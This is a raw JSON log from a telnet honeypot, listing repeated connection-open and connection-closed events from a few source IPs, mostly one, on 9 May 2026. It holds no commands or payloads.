{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39816,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1570b0676bc","protocol":"telnet","message":"New connection: 50.6.18.72:39816 (159.203.135.109:23) [session: b1570b0676bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:31.267282Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39840,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdf362cc53a6","protocol":"telnet","message":"New connection: 50.6.18.72:39840 (159.203.135.109:23) [session: fdf362cc53a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:31.547632Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39852,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f4d7bccb2d","protocol":"telnet","message":"New connection: 50.6.18.72:39852 (159.203.135.109:23) [session: 63f4d7bccb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:31.578394Z"}
{"eventid":"cowrie.session.closed","duration":30.42308282852173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:31.739666Z","src_ip":"50.6.18.72","session":"c02c844f4382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39786,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6af7890ff16","protocol":"telnet","message":"New connection: 50.6.18.72:39786 (159.203.135.109:23) [session: b6af7890ff16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:31.743838Z"}
{"eventid":"cowrie.session.closed","duration":31.176188230514526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:31.999338Z","src_ip":"50.6.18.72","session":"8896d8dd22da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52958,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a7ca9ab5f66","protocol":"telnet","message":"New connection: 45.58.127.90:52958 (10.17.0.5:23) [session: 6a7ca9ab5f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:32.168200Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39860,"dst_ip":"159.203.135.109","dst_port":23,"session":"f374a984316b","protocol":"telnet","message":"New connection: 50.6.18.72:39860 (159.203.135.109:23) [session: f374a984316b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:32.274567Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39832,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c1171a77f37","protocol":"telnet","message":"New connection: 50.6.18.72:39832 (159.203.135.109:23) [session: 3c1171a77f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:32.354475Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39874,"dst_ip":"159.203.135.109","dst_port":23,"session":"edff8531cec7","protocol":"telnet","message":"New connection: 50.6.18.72:39874 (159.203.135.109:23) [session: edff8531cec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:32.394193Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39886,"dst_ip":"159.203.135.109","dst_port":23,"session":"514d037f5895","protocol":"telnet","message":"New connection: 50.6.18.72:39886 (159.203.135.109:23) [session: 514d037f5895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:32.411119Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39896,"dst_ip":"159.203.135.109","dst_port":23,"session":"b084813c5401","protocol":"telnet","message":"New connection: 50.6.18.72:39896 (159.203.135.109:23) [session: b084813c5401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:32.858046Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39898,"dst_ip":"159.203.135.109","dst_port":23,"session":"96fa4bac230c","protocol":"telnet","message":"New connection: 50.6.18.72:39898 (159.203.135.109:23) [session: 96fa4bac230c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:33.076016Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39906,"dst_ip":"159.203.135.109","dst_port":23,"session":"791a592f7d1f","protocol":"telnet","message":"New connection: 50.6.18.72:39906 (159.203.135.109:23) [session: 791a592f7d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:33.128326Z"}
{"eventid":"cowrie.session.closed","duration":30.889322519302368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:33.336461Z","src_ip":"50.6.18.72","session":"064259fa68ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39918,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e7b5975a4f4","protocol":"telnet","message":"New connection: 50.6.18.72:39918 (159.203.135.109:23) [session: 8e7b5975a4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:33.532014Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39930,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ab024f53334","protocol":"telnet","message":"New connection: 50.6.18.72:39930 (159.203.135.109:23) [session: 0ab024f53334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:33.593045Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39932,"dst_ip":"159.203.135.109","dst_port":23,"session":"743e5d015465","protocol":"telnet","message":"New connection: 50.6.18.72:39932 (159.203.135.109:23) [session: 743e5d015465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:33.655481Z"}
{"eventid":"cowrie.session.closed","duration":31.002256155014038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:33.711199Z","src_ip":"50.6.18.72","session":"4132159c41fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39942,"dst_ip":"159.203.135.109","dst_port":23,"session":"425b08fd9b1d","protocol":"telnet","message":"New connection: 50.6.18.72:39942 (159.203.135.109:23) [session: 425b08fd9b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:33.819566Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39956,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9cfe5678f53","protocol":"telnet","message":"New connection: 50.6.18.72:39956 (159.203.135.109:23) [session: f9cfe5678f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:33.851188Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39970,"dst_ip":"159.203.135.109","dst_port":23,"session":"742043014d58","protocol":"telnet","message":"New connection: 50.6.18.72:39970 (159.203.135.109:23) [session: 742043014d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:34.098418Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39982,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ced56a982d0","protocol":"telnet","message":"New connection: 50.6.18.72:39982 (159.203.135.109:23) [session: 8ced56a982d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:34.127868Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39908,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c83ef1e4758","protocol":"telnet","message":"New connection: 50.6.18.72:39908 (159.203.135.109:23) [session: 2c83ef1e4758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:34.145008Z"}
{"eventid":"cowrie.session.closed","duration":31.0769362449646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:34.311443Z","src_ip":"50.6.18.72","session":"6c4cf86cec28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107672214508057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:34.366168Z","src_ip":"40.86.220.217","session":"ac3dfac7add5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39934,"dst_ip":"159.203.135.109","dst_port":23,"session":"af53397bece8","protocol":"telnet","message":"New connection: 50.6.18.72:39934 (159.203.135.109:23) [session: af53397bece8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:34.755578Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":40016,"dst_ip":"159.203.135.109","dst_port":23,"session":"043386b8fc75","protocol":"telnet","message":"New connection: 50.6.18.72:40016 (159.203.135.109:23) [session: 043386b8fc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:34.771302Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41184,"dst_ip":"159.203.135.109","dst_port":23,"session":"45a8be75b3c2","protocol":"telnet","message":"New connection: 147.182.143.59:41184 (159.203.135.109:23) [session: 45a8be75b3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:34.827961Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":40018,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1510abf7544","protocol":"telnet","message":"New connection: 50.6.18.72:40018 (159.203.135.109:23) [session: e1510abf7544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:35.458630Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60470,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5f3f2a1a3b7","protocol":"telnet","message":"New connection: 50.6.18.72:60470 (159.203.135.109:23) [session: f5f3f2a1a3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:35.560340Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":40004,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdae446e628a","protocol":"telnet","message":"New connection: 50.6.18.72:40004 (159.203.135.109:23) [session: cdae446e628a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:35.714575Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60472,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4bf09db3c5","protocol":"telnet","message":"New connection: 50.6.18.72:60472 (159.203.135.109:23) [session: 3c4bf09db3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:35.774865Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52982,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac1cda9a117","protocol":"telnet","message":"New connection: 45.58.127.90:52982 (10.17.0.5:23) [session: aac1cda9a117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:36.435694Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60488,"dst_ip":"159.203.135.109","dst_port":23,"session":"bea0d1bbd4d5","protocol":"telnet","message":"New connection: 50.6.18.72:60488 (159.203.135.109:23) [session: bea0d1bbd4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:36.471121Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60514,"dst_ip":"159.203.135.109","dst_port":23,"session":"57ecabb364a5","protocol":"telnet","message":"New connection: 50.6.18.72:60514 (159.203.135.109:23) [session: 57ecabb364a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:36.605440Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60530,"dst_ip":"159.203.135.109","dst_port":23,"session":"08debfa9da3e","protocol":"telnet","message":"New connection: 50.6.18.72:60530 (159.203.135.109:23) [session: 08debfa9da3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:36.854057Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60542,"dst_ip":"159.203.135.109","dst_port":23,"session":"d61b5eeb88fc","protocol":"telnet","message":"New connection: 50.6.18.72:60542 (159.203.135.109:23) [session: d61b5eeb88fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:36.938133Z"}
{"eventid":"cowrie.session.closed","duration":30.955851554870605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:36.943569Z","src_ip":"50.6.18.72","session":"3148b749ab04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.255265951156616,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:36.984509Z","src_ip":"147.182.143.59","session":"000cb0f24491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60552,"dst_ip":"159.203.135.109","dst_port":23,"session":"c73573c675f1","protocol":"telnet","message":"New connection: 50.6.18.72:60552 (159.203.135.109:23) [session: c73573c675f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:37.114865Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60568,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cfa7433ff99","protocol":"telnet","message":"New connection: 50.6.18.72:60568 (159.203.135.109:23) [session: 3cfa7433ff99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:37.120922Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52974,"dst_ip":"10.17.0.5","dst_port":23,"session":"62d7d7dc4382","protocol":"telnet","message":"New connection: 45.58.127.90:52974 (10.17.0.5:23) [session: 62d7d7dc4382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:37.173938Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39994,"dst_ip":"159.203.135.109","dst_port":23,"session":"187e68dec23c","protocol":"telnet","message":"New connection: 50.6.18.72:39994 (159.203.135.109:23) [session: 187e68dec23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:37.380501Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60502,"dst_ip":"159.203.135.109","dst_port":23,"session":"db1960fa7141","protocol":"telnet","message":"New connection: 50.6.18.72:60502 (159.203.135.109:23) [session: db1960fa7141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:37.545221Z"}
{"eventid":"cowrie.session.closed","duration":30.58924102783203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:37.633556Z","src_ip":"50.6.18.72","session":"83cf4455a88c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60576,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae98c60cd060","protocol":"telnet","message":"New connection: 50.6.18.72:60576 (159.203.135.109:23) [session: ae98c60cd060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:38.177366Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60580,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f1cfab3673","protocol":"telnet","message":"New connection: 50.6.18.72:60580 (159.203.135.109:23) [session: d2f1cfab3673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:38.186202Z"}
{"eventid":"cowrie.session.closed","duration":31.113768577575684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:38.214975Z","src_ip":"50.6.18.72","session":"62268ff67780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60584,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dde2d78b9fe","protocol":"telnet","message":"New connection: 50.6.18.72:60584 (159.203.135.109:23) [session: 9dde2d78b9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:38.370734Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60614,"dst_ip":"159.203.135.109","dst_port":23,"session":"15414c959be0","protocol":"telnet","message":"New connection: 50.6.18.72:60614 (159.203.135.109:23) [session: 15414c959be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:38.545443Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60604,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7b9968764ef","protocol":"telnet","message":"New connection: 50.6.18.72:60604 (159.203.135.109:23) [session: a7b9968764ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:38.550435Z"}
{"eventid":"cowrie.session.closed","duration":30.240721702575684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:38.581791Z","src_ip":"50.6.18.72","session":"67e8a3e7aa1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982492446899414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:38.739650Z","src_ip":"50.6.18.72","session":"3cf84f9c53d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60636,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d7430328ec1","protocol":"telnet","message":"New connection: 50.6.18.72:60636 (159.203.135.109:23) [session: 7d7430328ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:38.914516Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60654,"dst_ip":"159.203.135.109","dst_port":23,"session":"355c801e1e6e","protocol":"telnet","message":"New connection: 50.6.18.72:60654 (159.203.135.109:23) [session: 355c801e1e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.267158Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60662,"dst_ip":"159.203.135.109","dst_port":23,"session":"9af2c40fe31a","protocol":"telnet","message":"New connection: 50.6.18.72:60662 (159.203.135.109:23) [session: 9af2c40fe31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.278677Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60678,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3ef1c47d89d","protocol":"telnet","message":"New connection: 50.6.18.72:60678 (159.203.135.109:23) [session: e3ef1c47d89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.407099Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60680,"dst_ip":"159.203.135.109","dst_port":23,"session":"33d3d2341895","protocol":"telnet","message":"New connection: 50.6.18.72:60680 (159.203.135.109:23) [session: 33d3d2341895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.415044Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60590,"dst_ip":"159.203.135.109","dst_port":23,"session":"00a356aebf5e","protocol":"telnet","message":"New connection: 50.6.18.72:60590 (159.203.135.109:23) [session: 00a356aebf5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.423963Z"}
{"eventid":"cowrie.session.closed","duration":30.11237645149231,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.539108Z","src_ip":"50.6.18.72","session":"6f5278fc8a08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.486799955368042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.554979Z","src_ip":"50.6.18.72","session":"f89ade1be0f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.13550639152527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.578664Z","src_ip":"50.6.18.72","session":"04a373cd9154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60684,"dst_ip":"159.203.135.109","dst_port":23,"session":"80c0ed0fe91f","protocol":"telnet","message":"New connection: 50.6.18.72:60684 (159.203.135.109:23) [session: 80c0ed0fe91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.616993Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60700,"dst_ip":"159.203.135.109","dst_port":23,"session":"d45c54ebbecd","protocol":"telnet","message":"New connection: 50.6.18.72:60700 (159.203.135.109:23) [session: d45c54ebbecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.647558Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60706,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bfa852afdca","protocol":"telnet","message":"New connection: 50.6.18.72:60706 (159.203.135.109:23) [session: 1bfa852afdca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.824622Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60628,"dst_ip":"159.203.135.109","dst_port":23,"session":"44e695de4b83","protocol":"telnet","message":"New connection: 50.6.18.72:60628 (159.203.135.109:23) [session: 44e695de4b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.873091Z"}
{"eventid":"cowrie.session.closed","duration":31.26041865348816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:39.885215Z","src_ip":"50.6.18.72","session":"47ae873e345b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60736,"dst_ip":"159.203.135.109","dst_port":23,"session":"0def94a85315","protocol":"telnet","message":"New connection: 50.6.18.72:60736 (159.203.135.109:23) [session: 0def94a85315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.013932Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60644,"dst_ip":"159.203.135.109","dst_port":23,"session":"f294d5802892","protocol":"telnet","message":"New connection: 50.6.18.72:60644 (159.203.135.109:23) [session: f294d5802892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.128548Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60772,"dst_ip":"159.203.135.109","dst_port":23,"session":"460bc289bf97","protocol":"telnet","message":"New connection: 50.6.18.72:60772 (159.203.135.109:23) [session: 460bc289bf97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.309002Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60778,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba188dbf5fdc","protocol":"telnet","message":"New connection: 50.6.18.72:60778 (159.203.135.109:23) [session: ba188dbf5fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.365310Z"}
{"eventid":"cowrie.session.closed","duration":31.11251950263977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.424389Z","src_ip":"50.6.18.72","session":"7642e36a49ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112317085266113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.686971Z","src_ip":"50.6.18.72","session":"e309c1d5ff91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60572,"dst_ip":"159.203.135.109","dst_port":23,"session":"d95a43a14c39","protocol":"telnet","message":"New connection: 50.6.18.72:60572 (159.203.135.109:23) [session: d95a43a14c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.710020Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60782,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdb5be89d020","protocol":"telnet","message":"New connection: 50.6.18.72:60782 (159.203.135.109:23) [session: fdb5be89d020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.715544Z"}
{"eventid":"cowrie.session.closed","duration":30.54847741127014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.748737Z","src_ip":"50.6.18.72","session":"48a8820d4d2e","protocol":"telnet"}
